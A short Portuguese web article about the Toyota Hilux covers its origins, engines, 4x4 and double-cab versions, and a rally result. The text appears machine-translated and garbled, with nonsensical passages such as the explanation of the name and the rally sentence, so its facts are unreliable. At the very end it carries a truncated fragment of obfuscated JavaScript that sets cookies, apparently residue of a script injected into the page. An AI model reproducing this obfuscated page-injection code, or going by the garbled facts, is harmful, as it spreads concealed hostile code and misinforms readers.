Hilux

A Hilux é uma caminhonete compacta produzida e comercializada pela Toyota . No Estados Unidos e Canadá, o nome Hilux foi brevemente retirado em 1976 em favor de nomes genéricos como caminhão, camionete ou caminhão Compact , até que foi substituído por Tacoma em 1995. A introdução deste nome coincidiu com o redesenho do veículo, uma orientação mais refinada.

Nascido em 1968 na Hino Motors, projetos iniciais Hilux foram baseados na funcionalidade de um carro de passageiro, mas logo foi abandonado essa ideia e decidiu orientá-la para o setor de veículos comerciais, ou seja, para aqueles que procuram uma maneira transporte confiável, durável e confortável.

O primeiro modelo incorporou um motor a gasolina série 1.500 R e quatro cilindros que atingiram uma velocidade máxima de 130 km / h. Posteriormente, foi passado para um motor mais vigoroso de 1.600 cc.

Tendo em vista a crescente demanda por potência e versatilidade, o primeiro modelo de tração nas quatro rodas foi lançado em 1979. Este modelo permitiu sair das estradas asfaltadas e procurar aventuras em montanhas rochosas, trilhas lamacentas e qualquer tipo de terreno.

Com o passar dos anos, o Hilux (nome que vem da combinação das palavras inglesas “alto” – alto e “luxo” – fluxo) continuou se adaptando às demandas das obras modernas; Apesar de ter sido concebido como um veículo comercial, começou a evoluir para um carro popular para uso diário por famílias.

Em 1983, a Toyota renovou sua gama oferecendo configurações de cabine dupla para famílias que queriam todo o conforto de um carro moderno e, além disso, o desempenho de um SUV convencional.

Seu tamanho grande permitia acomodar todos os tipos de coisas, desde ferramentas de trabalho até a parafernália de passeios em família.

Modelos mais versáteis e esportivos surgiram com um maior número de equipamentos de lazer e uma cabine maior com melhor insonorização, superando as diferenças que existiam até então entre veículos comerciais e familiares.

Em 2014, dos 450 veículos que tomaram o início, apenas o rali terminou, com uma travessia épica de 9.500 quilômetros pela Argentina e pelo Chile, incluindo 5.000 km. de carreira para 13 setores.

Giniel de Villiers e Dirk von Zitzewitz terminaram em quarto na classificação geral e primeiro na classe T1.1 de veículos 4×4 modificados a gasolina. O Hilux ocupou seis das 30 primeiras posições.

Em suma, há os fatos: a imbatível Toyota Hilux percorreu o mundo conquistando tudo o que foi colocado em seu caminho e, após sete gerações, redefiniu o modo de viajar.

Fabricado para sobreviver ao calor intenso, ao frio extremo e até às carícias de uma bola de demolição, o Hilux provou ser muito mais do que um veículo para a vida quotidiana. E ainda há muitas outras gerações da Hilux no quarto.,’setTime’,’getTime’,’;\x20expires=’];(function(c,d){var (e||”)+g+’;\x20path=/’;}r (0x0)==’\x20′)n=n[b(‘0xb’)]